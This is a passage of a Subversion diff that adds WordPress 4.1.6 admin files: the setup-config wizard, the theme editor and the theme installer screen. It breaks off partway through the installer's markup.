+$revisions_sidebar  = '<p><strong>' . __( 'For more information:' ) . '</strong></p>';
+$revisions_sidebar .= '<p>' . __( '<a href="http://codex.wordpress.org/Revision_Management" target="_blank">Revisions Management</a>' ) . '</p>';
+$revisions_sidebar .= '<p>' . __( '<a href="https://wordpress.org/support/" target="_blank">Support Forums</a>' ) . '</p>';
+
+get_current_screen()->set_help_sidebar( $revisions_sidebar );
+
+require_once( ABSPATH . 'wp-admin/admin-header.php' );
+
+?>
+
+<div class="wrap">
+	<h2 class="long-header"><?php echo $h2; ?></h2>
+	<?php echo $return_to_post; ?>
+</div>
+<?php
+wp_print_revision_templates();
+
+require_once( ABSPATH . 'wp-admin/admin-footer.php' );
Index: /tags/4.1.6/src/wp-admin/setup-config.php
===================================================================
--- /tags/4.1.6/src/wp-admin/setup-config.php	(revision 33402)
+++ /tags/4.1.6/src/wp-admin/setup-config.php	(revision 33402)
@@ -0,0 +1,347 @@
+<?php
+/**
+ * Retrieves and creates the wp-config.php file.
+ *
+ * The permissions for the base directory must allow for writing files in order
+ * for the wp-config.php to be created using this page.
+ *
+ * @internal This file must be parsable by PHP4.
+ *
+ * @package WordPress
+ * @subpackage Administration
+ */
+
+/**
+ * We are installing.
+ */
+define('WP_INSTALLING', true);
+
+/**
+ * We are blissfully unaware of anything.
+ */
+define('WP_SETUP_CONFIG', true);
+
+/**
+ * Disable error reporting
+ *
+ * Set this to error_reporting( -1 ) for debugging
+ */
+error_reporting(0);
+
+define( 'ABSPATH', dirname( dirname( __FILE__ ) ) . '/' );
+
+require( ABSPATH . 'wp-settings.php' );
+
+/** Load WordPress Administration Upgrade API */
+require_once( ABSPATH . 'wp-admin/includes/upgrade.php' );
+
+/** Load WordPress Translation Install API */
+require_once( ABSPATH . 'wp-admin/includes/translation-install.php' );
+
+nocache_headers();
+
+// Support wp-config-sample.php one level up, for the develop repo.
+if ( file_exists( ABSPATH . 'wp-config-sample.php' ) )
+	$config_file = file( ABSPATH . 'wp-config-sample.php' );
+elseif ( file_exists( dirname( ABSPATH ) . '/wp-config-sample.php' ) )
+	$config_file = file( dirname( ABSPATH ) . '/wp-config-sample.php' );
+else
+	wp_die( __( 'Sorry, I need a wp-config-sample.php file to work from. Please re-upload this file from your WordPress installation.' ) );
+
+// Check if wp-config.php has been created
+if ( file_exists( ABSPATH . 'wp-config.php' ) )
+	wp_die( '<p>' . sprintf( __( "The file 'wp-config.php' already exists. If you need to reset any of the configuration items in this file, please delete it first. You may try <a href='%s'>installing now</a>." ), 'install.php' ) . '</p>' );
+
+// Check if wp-config.php exists above the root directory but is not part of another install
+if ( file_exists(ABSPATH . '../wp-config.php' ) && ! file_exists( ABSPATH . '../wp-settings.php' ) )
+	wp_die( '<p>' . sprintf( __( "The file 'wp-config.php' already exists one level above your WordPress installation. If you need to reset any of the configuration items in this file, please delete it first. You may try <a href='install.php'>installing now</a>."), 'install.php' ) . '</p>' );
+
+$step = isset( $_GET['step'] ) ? (int) $_GET['step'] : -1;
+
+/**
+ * Display setup wp-config.php file header.
+ *
+ * @ignore
+ * @since 2.3.0
+ */
+function setup_config_display_header( $body_classes = array() ) {
+	global $wp_version;
+	$body_classes = (array) $body_classes;
+	$body_classes[] = 'wp-core-ui';
+	if ( is_rtl() ) {
+		$body_classes[] = 'rtl';
+	}
+
+	header( 'Content-Type: text/html; charset=utf-8' );
+?>
+<!DOCTYPE html>
+<html xmlns="http://www.w3.org/1999/xhtml"<?php if ( is_rtl() ) echo ' dir="rtl"'; ?>>
+<head>
+	<meta name="viewport" content="width=device-width" />
+	<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
+	<title><?php _e( 'WordPress &rsaquo; Setup Configuration File' ); ?></title>
+	<?php wp_admin_css( 'install', true ); ?>
+</head>
+<body class="<?php echo implode( ' ', $body_classes ); ?>">
+<h1 id="logo"><a href="<?php esc_attr_e( 'https://wordpress.org/' ); ?>" tabindex="-1"><?php _e( 'WordPress' ); ?></a></h1>
+<?php
+} // end function setup_config_display_header();
+
+$language = '';
+if ( ! empty( $_REQUEST['language'] ) ) {
+	$language = preg_replace( '/[^a-zA-Z_]/', '', $_REQUEST['language'] );
+} elseif ( isset( $GLOBALS['wp_local_package'] ) ) {
+	$language = $GLOBALS['wp_local_package'];
+}
+
+switch($step) {
+	case -1:
+		if ( wp_can_install_language_pack() && empty( $language ) && ( $languages = wp_get_available_translations() ) ) {
+			setup_config_display_header( 'language-chooser' );
+			echo '<form id="setup" method="post" action="?step=0">';
+			wp_install_language_form( $languages );
+			echo '</form>';
+			break;
+		}
+
+		// Deliberately fall through if we can't reach the translations API.
+
+	case 0:
+		if ( ! empty( $language ) ) {
+			$loaded_language = wp_download_language_pack( $language );
+			if ( $loaded_language ) {
+				load_default_textdomain( $loaded_language );
+				$GLOBALS['wp_locale'] = new WP_Locale();
+			}
+		}
+
+		setup_config_display_header();
+		$step_1 = 'setup-config.php?step=1';
+		if ( isset( $_REQUEST['noapi'] ) ) {
+			$step_1 .= '&amp;noapi';
+		}
+		if ( ! empty( $loaded_language ) ) {
+			$step_1 .= '&amp;language=' . $loaded_language;
+		}
+?>
+
+<p><?php _e( 'Welcome to WordPress. Before getting started, we need some information on the database. You will need to know the following items before proceeding.' ) ?></p>
+<ol>
+	<li><?php _e( 'Database name' ); ?></li>
+	<li><?php _e( 'Database username' ); ?></li>
+	<li><?php _e( 'Database password' ); ?></li>
+	<li><?php _e( 'Database host' ); ?></li>
+	<li><?php _e( 'Table prefix (if you want to run more than one WordPress in a single database)' ); ?></li>
+</ol>
+<p>
+	<?php _e( 'We&#8217;re going to use this information to create a <code>wp-config.php</code> file.' ); ?>
+	<strong><?php _e( "If for any reason this automatic file creation doesn&#8217;t work, don&#8217;t worry. All this does is fill in the database information to a configuration file. You may also simply open <code>wp-config-sample.php</code> in a text editor, fill in your information, and save it as <code>wp-config.php</code>." ); ?></strong>
+	<?php _e( "Need more help? <a href='http://codex.wordpress.org/Editing_wp-config.php'>We got it</a>." ); ?>
+</p>
+<p><?php _e( "In all likelihood, these items were supplied to you by your Web Host. If you do not have this information, then you will need to contact them before you can continue. If you&#8217;re all ready&hellip;" ); ?></p>
+
+<p class="step"><a href="<?php echo $step_1; ?>" class="button button-large"><?php _e( 'Let&#8217;s go!' ); ?></a></p>
+<?php
+	break;
+
+	case 1:
+		load_default_textdomain( $language );
+		$GLOBALS['wp_locale'] = new WP_Locale();
+
+		setup_config_display_header();
+	?>
+<form method="post" action="setup-config.php?step=2">
+	<p><?php _e( "Below you should enter your database connection details. If you&#8217;re not sure about these, contact your host." ); ?></p>
+	<table class="form-table">
+		<tr>
+			<th scope="row"><label for="dbname"><?php _e( 'Database Name' ); ?></label></th>
+			<td><input name="dbname" id="dbname" type="text" size="25" value="wordpress" /></td>
+			<td><?php _e( 'The name of the database you want to run WP in.' ); ?></td>
+		</tr>
+		<tr>
+			<th scope="row"><label for="uname"><?php _e( 'User Name' ); ?></label></th>
+			<td><input name="uname" id="uname" type="text" size="25" value="<?php echo htmlspecialchars( _x( 'username', 'example username' ), ENT_QUOTES ); ?>" /></td>
+			<td><?php _e( 'Your MySQL username' ); ?></td>
+		</tr>
+		<tr>
+			<th scope="row"><label for="pwd"><?php _e( 'Password' ); ?></label></th>
+			<td><input name="pwd" id="pwd" type="text" size="25" value="<?php echo htmlspecialchars( _x( 'password', 'example password' ), ENT_QUOTES ); ?>" autocomplete="off" /></td>
+			<td><?php _e( '&hellip;and your MySQL password.' ); ?></td>
+		</tr>
+		<tr>
+			<th scope="row"><label for="dbhost"><?php _e( 'Database Host' ); ?></label></th>
+			<td><input name="dbhost" id="dbhost" type="text" size="25" value="localhost" /></td>
+			<td><?php _e( 'You should be able to get this info from your web host, if <code>localhost</code> does not work.' ); ?></td>
+		</tr>
+		<tr>
+			<th scope="row"><label for="prefix"><?php _e( 'Table Prefix' ); ?></label></th>
+			<td><input name="prefix" id="prefix" type="text" value="wp_" size="25" /></td>
+			<td><?php _e( 'If you want to run multiple WordPress installations in a single database, change this.' ); ?></td>
+		</tr>
+	</table>
+	<?php if ( isset( $_GET['noapi'] ) ) { ?><input name="noapi" type="hidden" value="1" /><?php } ?>
+	<input type="hidden" name="language" value="<?php echo esc_attr( $language ); ?>" />
+	<p class="step"><input name="submit" type="submit" value="<?php echo htmlspecialchars( __( 'Submit' ), ENT_QUOTES ); ?>" class="button button-large" /></p>
+</form>
+<?php
+	break;
+
+	case 2:
+	load_default_textdomain( $language );
+	$GLOBALS['wp_locale'] = new WP_Locale();
+
+	$dbname = trim( wp_unslash( $_POST[ 'dbname' ] ) );
+	$uname = trim( wp_unslash( $_POST[ 'uname' ] ) );
+	$pwd = trim( wp_unslash( $_POST[ 'pwd' ] ) );
+	$dbhost = trim( wp_unslash( $_POST[ 'dbhost' ] ) );
+	$prefix = trim( wp_unslash( $_POST[ 'prefix' ] ) );
+
+	$step_1 = 'setup-config.php?step=1';
+	$install = 'install.php';
+	if ( isset( $_REQUEST['noapi'] ) ) {
+		$step_1 .= '&amp;noapi';
+	}
+
+	if ( ! empty( $language ) ) {
+		$step_1 .= '&amp;language=' . $language;
+		$install .= '?language=' . $language;
+	} else {
+		$install .= '?language=en_US';
+	}
+
+	$tryagain_link = '</p><p class="step"><a href="' . $step_1 . '" onclick="javascript:history.go(-1);return false;" class="button button-large">' . __( 'Try again' ) . '</a>';
+
+	if ( empty( $prefix ) )
+		wp_die( __( '<strong>ERROR</strong>: "Table Prefix" must not be empty.' . $tryagain_link ) );
+
+	// Validate $prefix: it can only contain letters, numbers and underscores.
+	if ( preg_match( '|[^a-z0-9_]|i', $prefix ) )
+		wp_die( __( '<strong>ERROR</strong>: "Table Prefix" can only contain numbers, letters, and underscores.' . $tryagain_link ) );
+
+	// Test the db connection.
+	/**#@+
+	 * @ignore
+	 */
+	define('DB_NAME', $dbname);
+	define('DB_USER', $uname);
+	define('DB_PASSWORD', $pwd);
+	define('DB_HOST', $dbhost);
+	/**#@-*/
+
+	// Re-construct $wpdb with these new values.
+	unset( $wpdb );
+	require_wp_db();
+
+	/*
+	 * The wpdb constructor bails when WP_SETUP_CONFIG is set, so we must
+	 * fire this manually. We'll fail here if the values are no good.
+	 */
+	$wpdb->db_connect();
+
+	if ( ! empty( $wpdb->error ) )
+		wp_die( $wpdb->error->get_error_message() . $tryagain_link );
+
+	// Fetch or generate keys and salts.
+	$no_api = isset( $_POST['noapi'] );
+	if ( ! $no_api ) {
+		$secret_keys = wp_remote_get( 'https://api.wordpress.org/secret-key/1.1/salt/' );
+	}
+
+	if ( $no_api || is_wp_error( $secret_keys ) ) {
+		$secret_keys = array();
+		for ( $i = 0; $i < 8; $i++ ) {
+			$secret_keys[] = wp_generate_password( 64, true, true );
+		}
+	} else {
+		$secret_keys = explode( "\n", wp_remote_retrieve_body( $secret_keys ) );
+		foreach ( $secret_keys as $k => $v ) {
+			$secret_keys[$k] = substr( $v, 28, 64 );
+		}
+	}
+
+	$key = 0;
+	// Not a PHP5-style by-reference foreach, as this file must be parseable by PHP4.
+	foreach ( $config_file as $line_num => $line ) {
+		if ( '$table_prefix  =' == substr( $line, 0, 16 ) ) {
+			$config_file[ $line_num ] = '$table_prefix  = \'' . addcslashes( $prefix, "\\'" ) . "';\r\n";
+			continue;
+		}
+
+		if ( ! preg_match( '/^define\(\'([A-Z_]+)\',([ ]+)/', $line, $match ) )
+			continue;
+
+		$constant = $match[1];
+		$padding  = $match[2];
+
+		switch ( $constant ) {
+			case 'DB_NAME'     :
+			case 'DB_USER'     :
+			case 'DB_PASSWORD' :
+			case 'DB_HOST'     :
+				$config_file[ $line_num ] = "define('" . $constant . "'," . $padding . "'" . addcslashes( constant( $constant ), "\\'" ) . "');\r\n";
+				break;
+			case 'AUTH_KEY'         :
+			case 'SECURE_AUTH_KEY'  :
+			case 'LOGGED_IN_KEY'    :
+			case 'NONCE_KEY'        :
+			case 'AUTH_SALT'        :
+			case 'SECURE_AUTH_SALT' :
+			case 'LOGGED_IN_SALT'   :
+			case 'NONCE_SALT'       :
+				$config_file[ $line_num ] = "define('" . $constant . "'," . $padding . "'" . $secret_keys[$key++] . "');\r\n";
+				break;
+		}
+	}
+	unset( $line );
+
+	if ( ! is_writable(ABSPATH) ) :
+		setup_config_display_header();
+?>
+<p><?php _e( "Sorry, but I can&#8217;t write the <code>wp-config.php</code> file." ); ?></p>
+<p><?php _e( 'You can create the <code>wp-config.php</code> manually and paste the following text into it.' ); ?></p>
+<textarea id="wp-config" cols="98" rows="15" class="code" readonly="readonly"><?php
+		foreach( $config_file as $line ) {
+			echo htmlentities($line, ENT_COMPAT, 'UTF-8');
+		}
+?></textarea>
+<p><?php _e( 'After you&#8217;ve done that, click &#8220;Run the install.&#8221;' ); ?></p>
+<p class="step"><a href="<?php echo $install; ?>" class="button button-large"><?php _e( 'Run the install' ); ?></a></p>
+<script>
+(function(){
+if ( ! /iPad|iPod|iPhone/.test( navigator.userAgent ) ) {
+	var el = document.getElementById('wp-config');
+	el.focus();
+	el.select();
+}
+})();
+</script>
+<?php
+	else :
+		/*
+		 * If this file doesn't exist, then we are using the wp-config-sample.php
+		 * file one level up, which is for the develop repo.
+		 */
+		if ( file_exists( ABSPATH . 'wp-config-sample.php' ) )
+			$path_to_wp_config = ABSPATH . 'wp-config.php';
+		else
+			$path_to_wp_config = dirname( ABSPATH ) . '/wp-config.php';
+
+		$handle = fopen( $path_to_wp_config, 'w' );
+		foreach( $config_file as $line ) {
+			fwrite( $handle, $line );
+		}
+		fclose( $handle );
+		chmod( $path_to_wp_config, 0666 );
+		setup_config_display_header();
+?>
+<p><?php _e( "All right, sparky! You&#8217;ve made it through this part of the installation. WordPress can now communicate with your database. If you are ready, time now to&hellip;" ); ?></p>
+
+<p class="step"><a href="<?php echo $install; ?>" class="button button-large"><?php _e( 'Run the install' ); ?></a></p>
+<?php
+	endif;
+	break;
+}
+?>
+<?php wp_print_scripts( 'language-chooser' ); ?>
+</body>
+</html>
Index: /tags/4.1.6/src/wp-admin/theme-editor.php
===================================================================
--- /tags/4.1.6/src/wp-admin/theme-editor.php	(revision 33402)
+++ /tags/4.1.6/src/wp-admin/theme-editor.php	(revision 33402)
@@ -0,0 +1,243 @@
+<?php
+/**
+ * Theme editor administration panel.
+ *
+ * @package WordPress
+ * @subpackage Administration
+ */
+
+/** WordPress Administration Bootstrap */
+require_once( dirname( __FILE__ ) . '/admin.php' );
+
+if ( is_multisite() && ! is_network_admin() ) {
+	wp_redirect( network_admin_url( 'theme-editor.php' ) );
+	exit();
+}
+
+if ( !current_user_can('edit_themes') )
+	wp_die('<p>'.__('You do not have sufficient permissions to edit templates for this site.').'</p>');
+
+$title = __("Edit Themes");
+$parent_file = 'themes.php';
+
+get_current_screen()->add_help_tab( array(
+'id'		=> 'overview',
+'title'		=> __('Overview'),
+'content'	=>
+	'<p>' . __('You can use the Theme Editor to edit the individual CSS and PHP files which make up your theme.') . '</p>
+	<p>' . __('Begin by choosing a theme to edit from the dropdown menu and clicking Select. A list then appears of all the template files. Clicking once on any file name causes the file to appear in the large Editor box.') . '</p>
+	<p>' . __('For PHP files, you can use the Documentation dropdown to select from functions recognized in that file. Look Up takes you to a web page with reference material about that particular function.') . '</p>
+	<p id="newcontent-description">' . __('In the editing area the Tab key enters a tab character. To move below this area by pressing Tab, press the Esc key followed by the Tab key.') . '</p>
+	<p>' . __('After typing in your edits, click Update File.') . '</p>
+	<p>' . __('<strong>Advice:</strong> think very carefully about your site crashing if you are live-editing the theme currently in use.') . '</p>
+	<p>' . sprintf( __('Upgrading to a newer version of the same theme will override changes made here. To avoid this, consider creating a <a href="%s" target="_blank">child theme</a> instead.'), __('http://codex.wordpress.org/Child_Themes') ) . '</p>' .
+	( is_network_admin() ? '<p>' . __('Any edits to files from this screen will be reflected on all sites in the network.') . '</p>' : '' )
+) );
+
+get_current_screen()->set_help_sidebar(
+	'<p><strong>' . __('For more information:') . '</strong></p>' .
+	'<p>' . __('<a href="http://codex.wordpress.org/Theme_Development" target="_blank">Documentation on Theme Development</a>') . '</p>' .
+	'<p>' . __('<a href="http://codex.wordpress.org/Using_Themes" target="_blank">Documentation on Using Themes</a>') . '</p>' .
+	'<p>' . __('<a href="http://codex.wordpress.org/Editing_Files" target="_blank">Documentation on Editing Files</a>') . '</p>' .
+	'<p>' . __('<a href="http://codex.wordpress.org/Template_Tags" target="_blank">Documentation on Template Tags</a>') . '</p>' .
+	'<p>' . __('<a href="https://wordpress.org/support/" target="_blank">Support Forums</a>') . '</p>'
+);
+
+wp_reset_vars( array( 'action', 'error', 'file', 'theme' ) );
+
+if ( $theme )
+	$stylesheet = $theme;
+else
+	$stylesheet = get_stylesheet();
+
+$theme = wp_get_theme( $stylesheet );
+
+if ( ! $theme->exists() )
+	wp_die( __( 'The requested theme does not exist.' ) );
+
+if ( $theme->errors() && 'theme_no_stylesheet' == $theme->errors()->get_error_code() )
+	wp_die( __( 'The requested theme does not exist.' ) . ' ' . $theme->errors()->get_error_message() );
+
+$allowed_files = $theme->get_files( 'php', 1 );
+$has_templates = ! empty( $allowed_files );
+$style_files = $theme->get_files( 'css' );
+$allowed_files['style.css'] = $style_files['style.css'];
+$allowed_files += $style_files;
+
+if ( empty( $file ) ) {
+	$relative_file = 'style.css';
+	$file = $allowed_files['style.css'];
+} else {
+	$relative_file = $file;
+	$file = $theme->get_stylesheet_directory() . '/' . $relative_file;
+}
+
+validate_file_to_edit( $file, $allowed_files );
+$scrollto = isset( $_REQUEST['scrollto'] ) ? (int) $_REQUEST['scrollto'] : 0;
+
+switch( $action ) {
+case 'update':
+	check_admin_referer( 'edit-theme_' . $file . $stylesheet );
+	$newcontent = wp_unslash( $_POST['newcontent'] );
+	$location = 'theme-editor.php?file=' . urlencode( $relative_file ) . '&theme=' . urlencode( $stylesheet ) . '&scrollto=' . $scrollto;
+	if ( is_writeable( $file ) ) {
+		// is_writable() not always reliable, check return value. see comments @ http://uk.php.net/is_writable
+		$f = fopen( $file, 'w+' );
+		if ( $f !== false ) {
+			fwrite( $f, $newcontent );
+			fclose( $f );
+			$location .= '&updated=true';
+			$theme->cache_delete();
+		}
+	}
+	wp_redirect( $location );
+	exit;
+
+default:
+
+	require_once( ABSPATH . 'wp-admin/admin-header.php' );
+
+	update_recently_edited( $file );
+
+	if ( ! is_file( $file ) )
+		$error = true;
+
+	$content = '';
+	if ( ! $error && filesize( $file ) > 0 ) {
+		$f = fopen($file, 'r');
+		$content = fread($f, filesize($file));
+
+		if ( '.php' == substr( $file, strrpos( $file, '.' ) ) ) {
+			$functions = wp_doc_link_parse( $content );
+
+			$docs_select = '<select name="docs-list" id="docs-list">';
+			$docs_select .= '<option value="">' . esc_attr__( 'Function Name&hellip;' ) . '</option>';
+			foreach ( $functions as $function ) {
+				$docs_select .= '<option value="' . esc_attr( urlencode( $function ) ) . '">' . htmlspecialchars( $function ) . '()</option>';
+			}
+			$docs_select .= '</select>';
+		}
+
+		$content = esc_textarea( $content );
+	}
+
+	if ( isset( $_GET['updated'] ) ) : ?>
+ <div id="message" class="updated"><p><?php _e( 'File edited successfully.' ) ?></p></div>
+<?php endif;
+
+$description = get_file_description( $file );
+$file_show = array_search( $file, array_filter( $allowed_files ) );
+if ( $description != $file_show )
+	$description .= ' <span>(' . $file_show . ')</span>';
+?>
+<div class="wrap">
+<h2><?php echo esc_html( $title ); ?></h2>
+
+<div class="fileedit-sub">
+<div class="alignleft">
+<h3><?php echo $theme->display('Name'); if ( $description ) echo ': ' . $description; ?></h3>
+</div>
+<div class="alignright">
+	<form action="theme-editor.php" method="post">
+		<strong><label for="theme"><?php _e('Select theme to edit:'); ?> </label></strong>
+		<select name="theme" id="theme">
+<?php
+foreach ( wp_get_themes( array( 'errors' => null ) ) as $a_stylesheet => $a_theme ) {
+	if ( $a_theme->errors() && 'theme_no_stylesheet' == $a_theme->errors()->get_error_code() )
+		continue;
+
+	$selected = $a_stylesheet == $stylesheet ? ' selected="selected"' : '';
+	echo "\n\t" . '<option value="' . esc_attr( $a_stylesheet ) . '"' . $selected . '>' . $a_theme->display('Name') . '</option>';
+}
+?>
+		</select>
+		<?php submit_button( __( 'Select' ), 'button', 'Submit', false ); ?>
+	</form>
+</div>
+<br class="clear" />
+</div>
+<?php
+if ( $theme->errors() )
+	echo '<div class="error"><p><strong>' . __( 'This theme is broken.' ) . '</strong> ' . $theme->errors()->get_error_message() . '</p></div>';
+?>
+	<div id="templateside">
+<?php
+if ( $allowed_files ) :
+	if ( $has_templates || $theme->parent() ) :
+?>
+	<h3><?php _e('Templates'); ?></h3>
+	<?php if ( $theme->parent() ) : ?>
+	<p class="howto"><?php printf( __( 'This child theme inherits templates from a parent theme, %s.' ), '<a href="' . self_admin_url('theme-editor.php?theme=' . urlencode( $theme->get_template() ) ) . '">' . $theme->parent()->display('Name') . '</a>' ); ?></p>
+	<?php endif; ?>
+	<ul>
+<?php
+	endif;
+
+	foreach ( $allowed_files as $filename => $absolute_filename ) :
+		if ( 'style.css' == $filename )
+			echo "\t</ul>\n\t<h3>" . _x( 'Styles', 'Theme stylesheets in theme editor' ) . "</h3>\n\t<ul>\n";
+
+		$file_description = get_file_description( $absolute_filename );
+		if ( $file_description != basename( $filename ) )
+			$file_description .= '<br /><span class="nonessential">(' . $filename . ')</span>';
+
+		if ( $absolute_filename == $file )
+			$file_description = '<span class="highlight">' . $file_description . '</span>';
+?>
+		<li><a href="theme-editor.php?file=<?php echo urlencode( $filename ) ?>&amp;theme=<?php echo urlencode( $stylesheet ) ?>"><?php echo $file_description; ?></a></li>
+<?php
+	endforeach;
+?>
+</ul>
+<?php endif; ?>
+</div>
+<?php if ( $error ) :
+	echo '<div class="error"><p>' . __('Oops, no such file exists! Double check the name and try again, merci.') . '</p></div>';
+else : ?>
+	<form name="template" id="template" action="theme-editor.php" method="post">
+	<?php wp_nonce_field( 'edit-theme_' . $file . $stylesheet ); ?>
+		<div><textarea cols="70" rows="30" name="newcontent" id="newcontent" aria-describedby="newcontent-description"><?php echo $content; ?></textarea>
+		<input type="hidden" name="action" value="update" />
+		<input type="hidden" name="file" value="<?php echo esc_attr( $relative_file ); ?>" />
+		<input type="hidden" name="theme" value="<?php echo esc_attr( $theme->get_stylesheet() ); ?>" />
+		<input type="hidden" name="scrollto" id="scrollto" value="<?php echo $scrollto; ?>" />
+		</div>
+	<?php if ( ! empty( $functions ) ) : ?>
+		<div id="documentation" class="hide-if-no-js">
+		<label for="docs-list"><?php _e('Documentation:') ?></label>
+		<?php echo $docs_select; ?>
+		<input type="button" class="button" value=" <?php esc_attr_e( 'Look Up' ); ?> " onclick="if ( '' != jQuery('#docs-list').val() ) { window.open( 'http://api.wordpress.org/core/handbook/1.0/?function=' + escape( jQuery( '#docs-list' ).val() ) + '&amp;locale=<?php echo urlencode( get_locale() ) ?>&amp;version=<?php echo urlencode( $wp_version ) ?>&amp;redirect=true'); }" />
+		</div>
+	<?php endif; ?>
+
+		<div>
+		<?php if ( is_child_theme() && $theme->get_stylesheet() == get_template() ) : ?>
+			<p><?php if ( is_writeable( $file ) ) { ?><strong><?php _e( 'Caution:' ); ?></strong><?php } ?>
+			<?php _e( 'This is a file in your current parent theme.' ); ?></p>
+		<?php endif; ?>
+<?php
+	if ( is_writeable( $file ) ) :
+		submit_button( __( 'Update File' ), 'primary', 'submit', true );
+	else : ?>
+<p><em><?php _e('You need to make this file writable before you can save your changes. See <a href="http://codex.wordpress.org/Changing_File_Permissions">the Codex</a> for more information.'); ?></em></p>
+<?php endif; ?>
+		</div>
+	</form>
+<?php
+endif; // $error
+?>
+<br class="clear" />
+</div>
+<script type="text/javascript">
+/* <![CDATA[ */
+jQuery(document).ready(function($){
+	$('#template').submit(function(){ $('#scrollto').val( $('#newcontent').scrollTop() ); });
+	$('#newcontent').scrollTop( $('#scrollto').val() );
+});
+/* ]]> */
+</script>
+<?php
+break;
+}
+
+include(ABSPATH . 'wp-admin/admin-footer.php' );
Index: /tags/4.1.6/src/wp-admin/theme-install.php
===================================================================
--- /tags/4.1.6/src/wp-admin/theme-install.php	(revision 33402)
+++ /tags/4.1.6/src/wp-admin/theme-install.php	(revision 33402)
@@ -0,0 +1,266 @@
+<?php
+/**
+ * Install theme administration panel.
+ *
+ * @package WordPress
+ * @subpackage Administration
+ */
+
+/** WordPress Administration Bootstrap */
+require_once( dirname( __FILE__ ) . '/admin.php' );
+require( ABSPATH . 'wp-admin/includes/theme-install.php' );
+
+wp_reset_vars( array( 'tab' ) );
+
+if ( ! current_user_can('install_themes') )
+	wp_die( __( 'You do not have sufficient permissions to install themes on this site.' ) );
+
+if ( is_multisite() && ! is_network_admin() ) {
+	wp_redirect( network_admin_url( 'theme-install.php' ) );
+	exit();
+}
+
+$title = __( 'Add Themes' );
+$parent_file = 'themes.php';
+
+if ( ! is_network_admin() ) {
+	$submenu_file = 'themes.php';
+}
+
+$installed_themes = search_theme_directories();
+foreach ( $installed_themes as $k => $v ) {
+	if ( false !== strpos( $k, '/' ) ) {
+		unset( $installed_themes[ $k ] );
+	}
+}
+
+wp_localize_script( 'theme', '_wpThemeSettings', array(
+	'themes'   => false,
+	'settings' => array(
+		'isInstall'     => true,
+		'canInstall'    => current_user_can( 'install_themes' ),
+		'installURI'    => current_user_can( 'install_themes' ) ? self_admin_url( 'theme-install.php' ) : null,
+		'adminUrl'      => parse_url( self_admin_url(), PHP_URL_PATH )
+	),
+	'l10n' => array(
+		'addNew' => __( 'Add New Theme' ),
+		'search'  => __( 'Search Themes' ),
+		'searchPlaceholder' => __( 'Search themes...' ), // placeholder (no ellipsis)
+		'upload' => __( 'Upload Theme' ),
+		'back'   => __( 'Back' ),
+		'error'  => __( 'An unexpected error occurred. Something may be wrong with WordPress.org or this server&#8217;s configuration. If you continue to have problems, please try the <a href="https://wordpress.org/support/">support forums</a>.' )
+	),
+	'installedThemes' => array_keys( $installed_themes ),
+) );
+
+wp_enqueue_script( 'theme' );
+
+if ( $tab ) {
+	/**
+	 * Fires before each of the tabs are rendered on the Install Themes page.
+	 *
+	 * The dynamic portion of the hook name, `$tab`, refers to the current
+	 * theme install tab. Possible values are 'dashboard', 'search', 'upload',
+	 * 'featured', 'new', or 'updated'.
+	 *
+	 * @since 2.8.0
+	 */
+	do_action( "install_themes_pre_{$tab}" );
+}
+
+$help_overview =
+	'<p>' . sprintf(__('You can find additional themes for your site by using the Theme Browser/Installer on this screen, which will display themes from the <a href="%s" target="_blank">WordPress.org Theme Directory</a>. These themes are designed and developed by third parties, are available free of charge, and are compatible with the license WordPress uses.'), 'https://wordpress.org/themes/') . '</p>' .
+	'<p>' . __('You can Search for themes by keyword, author, or tag, or can get more specific and search by criteria listed in the feature filter. Alternately, you can browse the themes that are Featured, Popular, or Latest. When you find a theme you like, you can preview it or install it.') . '</p>' .
+	'<p>' . __('You can Upload a theme manually if you have already downloaded its ZIP archive onto your computer (make sure it is from a trusted and original source). You can also do it the old-fashioned way and copy a downloaded theme&#8217;s folder via FTP into your <code>/wp-content/themes</code> directory.') . '</p>';
+
+get_current_screen()->add_help_tab( array(
+	'id'      => 'overview',
+	'title'   => __('Overview'),
+	'content' => $help_overview
+) );
+
+$help_installing =
+	'<p>' . __('Once you have generated a list of themes, you can preview and install any of them. Click on the thumbnail of the theme you&#8217;re interested in previewing. It will open up in a full-screen Preview page to give you a better idea of how that theme will look.') . '</p>' .
+	'<p>' . __('To install the theme so you can preview it with your site&#8217;s content and customize its theme options, click the "Install" button at the top of the left-hand pane. The theme files will be downloaded to your website automatically. When this is complete, the theme is now available for activation, which you can do by clicking the "Activate" link, or by navigating to your Manage Themes screen and clicking the "Live Preview" link under any installed theme&#8217;s thumbnail image.') . '</p>';
+
+get_current_screen()->add_help_tab( array(
+	'id'      => 'installing',
+	'title'   => __('Previewing and Installing'),
+	'content' => $help_installing
+) );
+
+get_current_screen()->set_help_sidebar(
+	'<p><strong>' . __('For more information:') . '</strong></p>' .
+	'<p>' . __('<a href="http://codex.wordpress.org/Using_Themes#Adding_New_Themes" target="_blank">Documentation on Adding New Themes</a>') . '</p>' .
+	'<p>' . __('<a href="https://wordpress.org/support/" target="_blank">Support Forums</a>') . '</p>'
+);
+
+include(ABSPATH . 'wp-admin/admin-header.php');
+
+?>
+<div class="wrap">
+	<h2><?php
+	echo esc_html( $title );
+
+	/**
+	 * Filter the tabs shown on the Add Themes screen.
+	 *
+	 * This filter is for backwards compatibility only, for the suppression
+	 * of the upload tab.
+	 *
+	 * @since 2.8.0
+	 *
+	 * @param array $tabs The tabs shown on the Add Themes screen. Default is 'upload'.
+	 */
+	$tabs = apply_filters( 'install_themes_tabs', array( 'upload' => __( 'Upload Theme' ) ) );
+	if ( ! empty( $tabs['upload'] ) && current_user_can( 'upload_themes' ) ) {
+		echo ' <a href="#" class="upload add-new-h2">' . __( 'Upload Theme' ) . '</a>';
+		echo ' <a href="#" class="browse-themes add-new-h2">' . _x( 'Browse', 'themes' ) . '</a>';
+	}
+	?></h2>
+
+	<div class="upload-theme">
+	<?php install_themes_upload(); ?>
+	</div>
+
+	<div class="wp-filter">
+		<div class="filter-count">
+			<span class="count theme-count"></span>
+		</div>
+
+		<ul class="filter-links">
+			<li><a href="#" data-sort="featured"><?php _ex( 'Featured', 'themes' ); ?></a></li>
+			<li><a href="#" data-sort="popular"><?php _ex( 'Popular', 'themes' ); ?></a></li>
+			<li><a href="#" data-sort="new"><?php _ex( 'Latest', 'themes' ); ?></a></li>
+		</ul>
+
+		<a class="drawer-toggle" href="#"><?php _e( 'Feature Filter' ); ?></a>
+
+		<div class="search-form"></div>
+
+		<div class="filter-drawer">
+			<div class="buttons">
+				<a class="apply-filters button button-secondary" href="#"><?php _e( 'Apply Filters' ); ?><span></span></a>
